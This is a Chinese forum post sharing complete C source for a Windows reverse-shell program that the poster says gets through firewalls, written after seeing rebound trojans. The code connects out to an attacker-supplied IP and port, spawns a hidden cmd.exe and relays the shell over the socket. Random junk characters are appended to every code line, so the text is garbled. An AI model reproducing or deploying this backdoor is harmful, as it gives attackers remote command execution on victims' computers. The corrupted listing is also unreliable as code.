社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5798阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `k.0d`3(  
/6{P ?)]pE  
/* ============================== HT%'dZ1  
Rebound port in Windows NT e.VQ!)>  
By wind,2006/7 90Bn}@t=Q  
===============================*/ evvv&$&  
#include 6>NK2} `  
#include up!54}qy  
y!M# #K*  
#pragma comment(lib,"wsock32.lib") OK" fFv  
<~teD[1k"  
void OutputShell(); O|AY2QH\  
SOCKET sClient; !O 0{ .k  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +~n4</  
9<Ks2W.N  
void main(int argc,char **argv) A}4 ",  
{ @j<Q2z^  
WSADATA stWsaData; f=hT o!i  
int nRet; AL{iQxQ6  
SOCKADDR_IN stSaiClient,stSaiServer; _;mA(j  
3}2;*:p4Y  
if(argc != 3) +z|@K=d#|  
{ j8)rz  
printf("Useage:\n\rRebound DestIP DestPort\n"); |)*9BN  
return; s4`,Z*H  
} ,L=lg,lH^  
`-w,6  
WSAStartup(MAKEWORD(2,2),&stWsaData); h?Lp9VF  
i`}!<{k  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ntQW+!s;P  
4^Og9}bm  
stSaiClient.sin_family = AF_INET; ~e _  
stSaiClient.sin_port = htons(0);  ]&OI.p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dUL*~%2I  
FQ>y2n=<d  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9]vy#a#  
{ ^'p!#\T;H  
printf("Bind Socket Failed!\n"); zF@[S  
return; qVW3oj<2  
} WK5B8u*<  
lhX4 MB"  
stSaiServer.sin_family = AF_INET; >dJ[1s]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1i&|}"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); to;^'#B  
<+UJgB A-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z.Vf,<H  
{ .@0@Y  
printf("Connect Error!"); 9-Z ?  
return; 7Ue&y8Yf  
} w7c0jIf{  
OutputShell(); XS$#\UQ  
} :_|Xr'n`A  
>8|V[-H  
void OutputShell() D63?f\  
{ Z*n4$?%W  
char szBuff[1024]; -/:!AxIH  
SECURITY_ATTRIBUTES stSecurityAttributes; NiYT%K%  
OSVERSIONINFO stOsversionInfo; 5<M$ XT  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +;,X?E]g  
STARTUPINFO stStartupInfo; %\L{Ud%7  
char *szShell; 5+2qx)FZ  
PROCESS_INFORMATION stProcessInformation; :F_>`{  
unsigned long lBytesRead; '~VF*i^4  
rZ&li/Z  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "E@A~<RKP  
hC4 M}(XM  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `>GXJ~:D["  
stSecurityAttributes.lpSecurityDescriptor = 0; yeam-8  
stSecurityAttributes.bInheritHandle = TRUE; ,Jx.Kj.,  
Pk;1q?tGw  
w"O{@2B3:H  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^{YK'60  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {v"Y!/ [z  
9g|99Z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }USOWsLSt  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m%nRHT0KAf  
stStartupInfo.wShowWindow = SW_HIDE; D`fIw` _  
stStartupInfo.hStdInput = hReadPipe; D!8v$(#hR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Uz=o l.E  
22*~CIh~x  
GetVersionEx(&stOsversionInfo); J!}\v=Rn  
~iPXn1  
switch(stOsversionInfo.dwPlatformId) T7|=`~  
{ \]g51U!'  
case 1: "ZL_  
szShell = "command.com"; p,tkVedR  
break; \E'z+0  
default: 9 e|[9  
szShell = "cmd.exe"; ] &SmeTe  
break; ?Yx2q_KZk  
} !DUOi4I  
3a&HW JBSx  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [{>3"XJ'  
FOteN QTj  
send(sClient,szMsg,77,0); \t%iUZ$  
while(1) '#>Fe`[  
{ `.Zm}'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lavy?tFer  
if(lBytesRead) $1FnjL5u  
{ BC5R$W. e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q VavP6I  
send(sClient,szBuff,lBytesRead,0); "YAnGGx)LZ  
} >*uj )u%  
else q8uq%wf  
{ v(6[z)A0  
lBytesRead=recv(sClient,szBuff,1024,0); *\ B(-  
if(lBytesRead<=0) break; 6ma.FvSIM  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `(DHa=s1  
} mM~&mAa+Z  
} JmeE}:5lpj  
A%X=yqY  
return; h(^c5#.  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五